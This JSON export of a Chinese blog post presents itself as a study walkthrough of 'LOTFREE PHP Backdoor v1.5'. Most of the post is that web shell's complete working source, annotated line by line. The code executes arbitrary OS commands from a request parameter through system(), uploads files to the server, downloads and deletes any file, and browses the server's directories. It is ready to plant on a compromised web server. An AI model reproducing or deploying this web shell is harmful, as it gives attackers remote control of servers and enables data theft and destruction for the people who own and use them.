{"id":126,"date":"2012-10-11T19:18:57","date_gmt":"2012-10-11T11:18:57","guid":{"rendered":"http:\/\/www.yeetrack.com\/wordpress\/?p=283"},"modified":"2013-04-20T17:31:11","modified_gmt":"2013-04-20T09:31:11","slug":"php%e5%90%8e%e9%97%a8%e7%a8%8b%e5%ba%8f%e8%a7%a3%e6%9e%90","status":"publish","type":"post","link":"https:\/\/www.yeetrack.com\/?p=126","title":{"rendered":"php \u540e\u95e8\u7a0b\u5e8f\u89e3\u6790"},"content":{"rendered":"

PHP Backdoor Version 1.5\u662f\u7531sirius_black \/ LOTFREE TEAM\u7f16\u5199\u7684\u4e00\u4e2aphp\u540e\u95e8\u7a0b\u5e8f\uff0c\u8fd9\u91cc\u5bf9\u5176\u8fdb\u884c\u4e00\u4e0b\u7b80\u5355\u89e3\u6790\uff0c\u4e5f\u5f53\u505a\u81ea\u5df1\u5b66\u4e60php\u7684\u7b14\u8bb0\uff0c\u8be5\u540e\u95e8\u7a0b\u5e8f\u6210\u6267\u884c\u7684\u547d\u4ee4\uff0c\u53d6\u51b3\u4e8e\u5b89\u88c5web\u670d\u52a1\u5668\u548cphp\u65f6\u7528\u6237\u7684\u6743\u9650\uff0c\u5982\u679c\u662f\u7ba1\u7406\u5458\u7684\u8bdd\uff0c\u90a3\u5c31\u53ef\u4ee5\u6267\u884c\u5404\u79cd\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u3002\u6613\u8e2a\u8bba\u575b\uff1ahttps:\/\/www.yeetrack.com\/bbs\/forum.php?mod=forumdisplay&fid=39<\/a>\uff0cO(\u2229_\u2229)O<!--goodlink\u51fd\u6570\u7528\u6765\u8fc7\u6ee4\u6389url\u4e2d\u7684\u4e00\u4e9b\u975e\u6cd5\u5b57\u7b26-->
<?php
function good_link($link)
{
$link=ereg_replace("\/+","\/",$link);
$link=ereg_replace("\/[^\/(..)]+\/..","\/",$link);
$link=ereg_replace("\/+","\/",$link);
if(!strncmp($link,".\/",2) && strlen($link)>2)$link=substr($link,2);
if($link=="")$link=".";
return $link;
}
\/\/$_REQUEST\u7528\u6765\u53d6\u5f97\u63d0\u4ea4\u5230\u672c\u6587\u4ef6\u7684\u6570\u636e
$dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:"."; \/\/\u5982\u679c\u6ca1\u6709\u5b9a\u4e49dir\uff0cdir\u53d6\u9ed8\u8ba4\u503c"."
$dir=good_link($dir);
$rep=opendir($dir);  \/\/\u6253\u5f00dir\u6307\u5b9a\u7684\u8def\u5f84\u53e5\u67c4
chdir($dir);        \/\/\u5207\u6362\u5230dir\u6307\u5b9a\u7684\u76ee\u5f55
if(isset($_REQUEST["down"]) && $_REQUEST["down"]!="")   \/\/\u5982\u679c\u5b9a\u4e49\u4e86down
{
header("Content-Type: application\/octet-stream");
header("Content-Length: ".filesize($_REQUEST["down"]));
header("Content-Disposition: attachment; filename=".basename($_REQUEST["down"]));
readfile($_REQUEST["down"]); \/\/\u5c06\u6587\u4ef6\u8bfb\u53d6\u5230\u7f13\u51b2\u533a
exit();
}
?>
<html>
<head><title>LOTFREE PHP Backdoor v1.5\uff0c\u6613\u8e2a\u7f51yeetrack.com<\/title><\/head>
<body>
<br>
<?php
echo "\u5f53\u524d\u7edd\u5bf9\u8def\u5f84\u4e3a: <b>".getcwd()."<\/b><br>n"; \/\/\u83b7\u53d6\u5f53\u524d\u7684\u7edd\u5bf9\u8def\u5f84
echo "<b>dir = '$dir'<\/b><br>n";
echo "\u5f53\u524d\u76ee\u5f55\uff0c\u6587\u4ef6\u5217\u8868 !<br><br>n";
\/\/\u5982\u679c\u5df2\u7ecf\u8f93\u5165\u8981\u6267\u884c\u7684\u547d\u4ee4
if(isset($_REQUEST['cmd']) && $_REQUEST['cmd']!="")
{
    echo "<pre>n";
    system($_REQUEST['cmd']); \/\/\u5728\u670d\u52a1\u5668\u4e0a\u6267\u884c\u8f93\u5165\u7684\u547d\u4ee4\uff0c\u6267\u884c\u7ed3\u679c\u56de\u663e
    echo "<\/pre>n";
}
\/\/\u5982\u679c\u5df2\u7ecf\u4e0a\u4f20\u4e86\u6587\u4ef6
if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) \/\/\u83b7\u53d6post\u4e0a\u6765\u7684\u6587\u4ef6\uff0c\u4fdd\u5b58\u5230\u5f53\u524d\u76ee\u5f55
{
    if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"])    \/\/\u5224\u65ad\u6587\u4ef6\u662f\u5426\u7b26\u5408\u5927\u5c0f\u89c4\u8303
    {
      if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(".\/".$_FILES["fic"]["name"]))) \/\/\u5c06\u4e34\u65f6\u6587\u4ef6\u4fdd\u5b58\u5230\u5f53\u524d\u76ee\u5f55
      {
        echo "\u6587\u4ef6\u4fdd\u5b58\u6210\u529f ".good_link(".\/".$_FILES["fic"]["name"])."!<br>n";
      }
      else echo "\u6587\u4ef6\u4e0a\u4f20\u5931\u8d25: ".$_FILES["fic"]["error"]."<br>n";
    }
    else echo "File too large\uff08\u6587\u4ef6\u8d85\u51fa\u5927\u5c0f\u9650\u5236)!<br>n";
}
if(isset($_REQUEST['rm']) && $_REQUEST['rm']!="") \/\/\u5982\u679c\u5b9a\u4e49\u4e86rm\uff0c\u5373\u5220\u9664\u6307\u5b9a\u7684\u6587\u4ef6
{
    if(unlink($_REQUEST['rm'])) \/\/unlink\u662fphp\u7684\u5220\u9664\u6587\u4ef6\u51fd\u6570
  echo "\u6210\u529f\u5220\u9664 ".$_REQUEST['rm']." !<br>n";
    else echo "\u5220\u9664\u6587\u4ef6\u5931\u8d25<br>n";
}
?>
<hr>
<table align="center" width="95%" border="0" cellspacing="0" bgcolor="lightblue">
<?php
$t_dir=array();
$t_file=array();
$i_dir=0;
$i_file=0;
\/\/\u5faa\u73af\u8f93\u8bfb\u53d6\u524d\u7684\u76ee\u5f55\u6587\u4ef6\uff0c\u653e\u5728t_dir\u548ct_file\u4e2d
while($x=readdir($rep))
{
    if(is_dir($x))           \/\/\u5982\u679c\u5f53\u524d\u5904\u7406\u7684\u662f\u76ee\u5f55
  $t_dir[$i_dir++]=$x;
    else                    \/\/\u5982\u679c\u5f53\u524d\u5904\u7406\u7684\u662f\u6587\u4ef6
  $t_file[$i_file++]=$x;  
}
closedir($rep); \/\/\u5173\u95ed\u7531opendir\u6253\u5f00\u7684\u76ee\u5f55\u53e5\u67c4
while(1) \/\/\u5faa\u73af\u8f93\u5165\u5f53\u524d\u8def\u5f84\u7684\u76ee\u5f55\u548c\u6587\u4ef6
{
 ?>
 <!--\u7528\u8868\u683c\u6765\u5c55\u793a\u5f53\u524d\u76ee\u5f55\u7684\u6587\u4ef6-->
 <tr>
 <td width="20%" bgcolor="lightgray" valign="top">
 <?php
  if($x=each($t_dir))
  {
  $name=$x["value"]; \/\/\u83b7\u53d6t_dir\u6570\u7ec4\u91cc\u7684\u76ee\u5f55\u540d\u79f0
  if($name=='.'){}
  elseif($name=='..') echo "    <a href='".$_SERVER['PHP_SELF']."?dir=".good_link("$dir\/..\/")."'>UP(\u7236\u76ee\u5f55)<\/a><br><br>n"; \/\/\u5c55\u793a\u4e00\u4e2aUP\u94fe\u63a5\uff0c\u8bfb\u53d6\u7236\u76ee\u5f55\u7684\u6587\u4ef6\u5217\u8868
  else
   echo "    <a href='".$_SERVER['PHP_SELF']."?dir=".good_link("$dir\/$name")."'>".$name."<\/a>n";
  }
 ?>
 <\/td>
 <td width='78%'
 <?php
  \/\/$_SERVER['PHP_SELF']\u53d6\u5f97\u5f53\u524dphp\u811a\u672c\u6587\u4ef6\u540d
  if($y=each($t_file))
  {
   if($y["key"]%2==0)  \/\/\u5982\u679c\u5f53\u524d\u5904\u7406\u7684\u662fkey
    echo " bgcolor='lightgreen'>n";
   else    \/\/\u5982\u679c\u5f53\u524d\u5904\u7406\u7684\u662fvalue\uff0c\u5373\u6587\u4ef6\u3002\u5c31\u5c06\u8be5\u6587\u4ef6\u5c55\u793a\u51fa\u6765\uff0c\u4e14\u63d0\u4f9b\u4e0b\u8f7d\u94fe\u63a5\u3002
    echo ">n";
   echo "    <a href='".$_SERVER['PHP_SELF']."?dir=$dir&down=".$y["value"]."'>".$y["value"]."<\/a>n";
  }
  else echo ">n";
 ?>
 <\/td>
 <td valign='center' width='2%'
 <?php
  if($y)
  {
   \/\/\u5982\u679c\u662f\u6587\u4ef6\uff0c\u5c31\u63d0\u4f9b\u4ee5\u4e0b\u5220\u9664\u8be5\u6587\u4ef6\u7684\u94fe\u63a5
   if($y["key"]%2==0)echo " bgcolor='lightgreen'";
    echo "><a href='".$_SERVER['PHP_SELF']."?dir=$dir&rm=".$y["value"]."'><b>Del<\/b><\/a>";
  }
  else echo ">n";
 ?>
 <\/td>
 <\/tr>
 <?php
  if(!$x && !$y)
   break;
}
?>
<\/table>
<hr>
<br>
<a href="<?php echo $_SERVER['PHP_SELF']; ?>?dir=">revenir au repertoire d'origine<\/a><br><br>
<!--form\u8868\u5355\uff0c\u5c06\u7528\u6237\u8f93\u5165\u7684\u547d\u4ee4post\u5230\u670d\u52a1\u5668-->
<form method="post" action="<?php echo $_SERVER['PHP_SELF']."?dir=$dir"; ?>">   <!--action\u52a8\u4f5c\uff0c\u5c06\u8bf7\u6c42\u53d1\u9001\u7ed9\u5f53\u524dphp\u6587\u4ef6\uff0c\u5e76\u4e14\u5b9a\u4e49dir\uff0c\u5237\u65b0\u5f53\u524d\u6587\u4ef6\u5217\u8868-->
Execute commande(\u6267\u884c\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4) <input type="text" name="cmd"> <input type="submit" value="Run(\u6267\u884c)">
<\/form><br>
\u4e0a\u4f20\u6587\u4ef6\u5230\u670d\u52a1\u5668\u5f53\u524d\u76ee\u5f55 :<br>
<form enctype="multipart\/form-data" method="post" action="<?php echo $_SERVER['PHP_SELF']."?dir=$dir"; ?>"> <!--action\u52a8\u4f5c\uff0c\u5c06\u6587\u4ef6post\u5230\u670d\u52a1\u5668\uff0c\u5237\u65b0\u5f53\u524d\u6587\u4ef6\u5217\u8868-->
<input type="file" name="fic"><input type="hidden" name="MAX_FILE_SIZE" value="100000">
<input type="submit" value="\u5f00\u59cb\u4e0a\u4f20!"><\/form><br>
<br>
\u6613\u8e2a\u7f51yeetrack.com<\/a>
<center>
PHP Backdoor Version 1.5<br>
by sirius_black \/ LOTFREE TEAM<br>
Execute commands, browse the filesystem<br>
Upload, download and delete files...<br>
<a href="http:\/\/www.lsdp.net\/~lotfree">http:\/\/www.lsdp.net\/~lotfree<\/a><br<\/a>>
<\/center>
<\/body>
<\/html><\/p>\n","protected":false},"excerpt":{"rendered":"

PHP Backdoor Version 1.5\u662f\u7531sirius_black \/ LOTFREE TEAM\u7f16\u5199\u7684\u4e00\u4e2aphp\u540e\u95e8\u7a0b\u5e8f\uff0c\u8fd9\u91cc\u5bf9\u5176\u8fdb\u884c\u4e00\u4e0b\u7b80\u5355\u89e3\u6790<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"pgc_sgb_lightbox_settings":"","footnotes":""},"categories":[35],"tags":[24,7],"class_list":["post-126","post","type-post","status-publish","format-standard","hentry","category-hacking","tag-php","tag-7"],"views":3135,"_links":{"self":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts\/126","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=126"}],"version-history":[{"count":2,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts\/126\/revisions"}],"predecessor-version":[{"id":439,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts\/126\/revisions\/439"}],"wp:attachment":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}